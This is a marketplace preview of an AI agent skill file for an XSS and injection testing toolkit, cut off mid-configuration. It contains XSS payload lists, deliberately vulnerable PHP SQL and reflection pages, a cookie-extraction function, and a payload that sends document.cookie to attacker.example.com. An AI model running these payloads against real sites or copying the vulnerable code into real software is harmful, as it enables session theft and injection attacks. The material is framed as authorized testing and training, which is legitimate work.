Skip to main content

acidrain-security-testing

Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized security research and hands-on learning

설치로 이동

소스 정보

저장소
reason-machines/security-skills
최근 소스 활동
2026년 8월 4일 06:00
감지된 SKILL.md 언어
영어
스타
12
포크
1

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
acidrain-security-testing
description
Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized security research and hands-on learning
triggers
["test XSS vulnerabilities with AcidRain","use AcidRain security scripts","run injection testing with AcidRain","analyze XSS with AcidRain tools","set up AcidRain for security testing","create XSS test payloads with AcidRain","perform authorized web security testing","use AcidRain JavaScript utilities"]
# AcidRain Security Testing Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. AcidRain is a 2026 web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, injection testing samples, and research snippets designed for authorized security testing and hands-on learning in controlled environments. ## Installation Clone the repository and navigate to the project directory: ```bash git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git cd acidrain-security-script-hub ``` Expected directory structure: ```text acidrain-security-script-hub/ ├── scripts/ │ ├── javascript/ # Client-side security testing scripts │ ├── php/ # Server-side PHP examples │ └── xss/ # XSS-specific payloads and tests ├── configs/ # Configuration files ├── examples/ # Working examples and demonstrations ├── docs/ # Documentation ├── LICENSE └── README.md ``` ## Project Structure and Components ### JavaScript Utilities (Client-Side) JavaScript utilities are located in `scripts/javascript/`. These are browser-based security testing scripts. **Basic XSS Test Script:** ```javascript // scripts/javascript/xss-test-basic.js // Test for reflected XSS in search parameters (function() { const payload = '<script>alert("XSS")</script>'; const testUrl = new URL(window.location); // Test search parameter testUrl.searchParams.set('q', payload); console.log('[AcidRain] Testing URL:', testUrl.toString()); console.log('[AcidRain] Payload:', payload); // Check if payload is reflected in DOM const bodyText = document.body.innerHTML; if (bodyText.includes(payload)) { console.warn('[AcidRain] Potential XSS: Payload reflected in DOM'); } })(); ``` **Cookie Extraction Utility:** ```javascript // scripts/javascript/cookie-extractor.js // Extract and log cookies (for authorized testing only) function extractCookies() { const cookies = document.cookie.split(';').map(c => c.trim()); const cookieData = {}; cookies.forEach(cookie => { const [name, value] = cookie.split('='); cookieData[name] = value; }); console.log('[AcidRain] Cookies extracted:', cookieData); return cookieData; } // Usage const cookies = extractCookies(); ``` **DOM-Based XSS Scanner:** ```javascript // scripts/javascript/dom-xss-scanner.js // Scan for DOM-based XSS sinks const dangerousSinks = [ 'innerHTML', 'outerHTML', 'document.write', 'eval', 'setTimeout', 'setInterval' ]; function scanDOMXSS() { const sources = [ window.location.hash, window.location.search, document.referrer ]; console.log('[AcidRain] Checking DOM sources:', sources); sources.forEach((source, idx) => { if (source && source.length > 0) { console.log(`[AcidRain] Source ${idx}:`, source); // Check for dangerous patterns dangerousSinks.forEach(sink => { if (document.body.innerHTML.includes(sink)) { console.warn(`[AcidRain] Potential sink found: ${sink}`); } }); } }); } // Run scanner scanDOMXSS(); ``` ### PHP Server-Side Examples PHP scripts are located in `scripts/php/`. Use these in authorized testing environments with PHP installed. **Basic Injection Test:** ```php <?php // scripts/php/basic-injection-test.php // Test for SQL injection vulnerabilities (use in isolated environment) header('Content-Type: text/html; charset=utf-8'); // INSECURE example for testing purposes only function vulnerableQuery($userInput) { // WARNING: This is intentionally vulnerable $query = "SELECT * FROM users WHERE name = '" . $userInput . "'"; echo "<h3>AcidRain - Injection Test</h3>"; echo "<p><strong>Query:</strong> " . htmlspecialchars($query) . "</p>"; // Detection patterns $patterns = [ "'" => "Single quote detected", "--" => "SQL comment detected", "OR 1=1" => "Tautology detected", "UNION" => "UNION injection detected" ]; foreach ($patterns as $pattern => $message) { if (stripos($userInput, $pattern) !== false) { echo "<p style='color: red;'>[AcidRain] {$message}</p>"; } } } // Test with GET parameter if (isset($_GET['test'])) { vulnerableQuery($_GET['test']); } else { echo "<p>Add ?test=payload to URL</p>"; } ?> ``` **XSS Reflection Test:** ```php <?php // scripts/php/xss-reflection-test.php // Test XSS reflection and encoding function testXSSReflection($input) { echo "<h3>AcidRain - XSS Reflection Test</h3>"; // Vulnerable reflection (for testing) echo "<div class='vulnerable'>"; echo "<h4>Vulnerable Output:</h4>"; echo "<p>" . $input . "</p>"; echo "</div>"; // Safe reflection (encoded) echo "<div class='safe'>"; echo "<h4>Encoded Output:</h4>"; echo "<p>" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</p>"; echo "</div>"; // Detection $xssPatterns = [ '<script' => 'Script tag detected', 'onerror=' => 'Event handler detected', 'javascript:' => 'JavaScript protocol detected', '<img' => 'Image tag detected' ]; foreach ($xssPatterns as $pattern => $message) { if (stripos($input, $pattern) !== false) { echo "<p style='color: orange;'>[AcidRain] {$message}</p>"; } } } if (isset($_GET['payload'])) { testXSSReflection($_GET['payload']); } else { echo "<p>Add ?payload=&lt;script&gt;alert('XSS')&lt;/script&gt; to URL</p>"; } ?> ``` **File Upload Validator:** ```php <?php // scripts/php/file-upload-test.php // Test file upload security controls function analyzeFileUpload($file) { $results = []; // Check extension $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $results['extension'] = $extension; // Check MIME type $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $results['mime_type'] = $mimeType; // Dangerous extensions $dangerous = ['php', 'phtml', 'php3', 'php4', 'php5', 'exe', 'sh']; if (in_array($extension, $dangerous)) { $results['warning'] = "Dangerous extension detected: {$extension}"; } // MIME mismatch $expectedMimes = [ 'jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'pdf' => 'application/pdf' ]; if (isset($expectedMimes[$extension]) && $mimeType !== $expectedMimes[$extension]) { $results['warning'] = "MIME type mismatch: expected {$expectedMimes[$extension]}, got {$mimeType}"; } return $results; } // Usage with $_FILES if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['testfile'])) { $analysis = analyzeFileUpload($_FILES['testfile']); echo "<pre>[AcidRain] File Analysis:\n" . print_r($analysis, true) . "</pre>"; } ?> ``` ## XSS Payload Examples Common XSS payloads for testing (use in `scripts/xss/`): ```html <!-- scripts/xss/payloads.html --> <!-- Basic XSS Payloads for Authorized Testing --> <!-- Script tag injection --> <script>alert('XSS')</script> <!-- Image tag with onerror --> <img src=x onerror=alert('XSS')> <!-- SVG-based XSS --> <svg/onload=alert('XSS')> <!-- Event handler in anchor --> <a href="javascript:alert('XSS')">Click</a> <!-- Input with autofocus --> <input autofocus onfocus=alert('XSS')> <!-- Iframe with JavaScript protocol --> <iframe src="javascript:alert('XSS')"> <!-- Encoded payloads --> <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;"> <!-- DOM-based payload --> <script>document.location='http://attacker.example.com/?c='+document.cookie</script> ``` ## Configuration Create a configuration file for test environments: ```javascript // configs/test-config.js // AcidRain test environment configuration const AcidRainConfig = { // Target configuration (use only authorized targets) target: { url: process.env.ACIDRAIN_TARGET_URL || 'http://localhost:8080', protocol: process.env.ACIDRAIN_PROTOCOL || 'http', testMode: process.env.ACIDRAIN_TEST_MODE === 'true' }, // Logging configuration logging: { enabled: true, verbose: process.env.ACIDRAIN_VERBOSE === 'true', outputFile: process.env.ACIDRAIN_LOG_FILE || './acidrain.log' }, // Payload settings payloads: { xssBasic: '<script>alert("XSS")</script>', xssImg: '<img src=x onerror=alert("XSS")>', sqlBasic: "' OR 1=1--", customPayloads: process.env.ACIDRAIN_CUSTOM_PAYLOADS || [] }, // Safety limits safety: { requireAuthorization: true, maxRequestsPerMinute: 10, timeoutMs: 5000 } }; module.exports = AcidRainConfig; ``` PHP configuration: ```php <?php // configs/test-config.php // AcidRain PHP configuration define('ACIDRAIN_TARGET_URL', getenv('ACIDRAIN_TARGET_URL') ?: 'http://localhost:8080'); define('ACIDRAIN_TEST_MODE', getenv('ACIDRAIN_TEST_MODE') === 'true'); define('ACIDRAIN_LOG_FILE', getenv('ACIDRAIN_LOG_FILE') ?: './acidrain.log'); $acidRainConfig = [ 'target' => [ 'url' => ACIDRAIN_TARGET_URL, 'testMode' => ACIDRAIN_TEST_MODE ], 'payloads' => [ 'xss_basic' => '<script>alert("XSS")</script>',
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기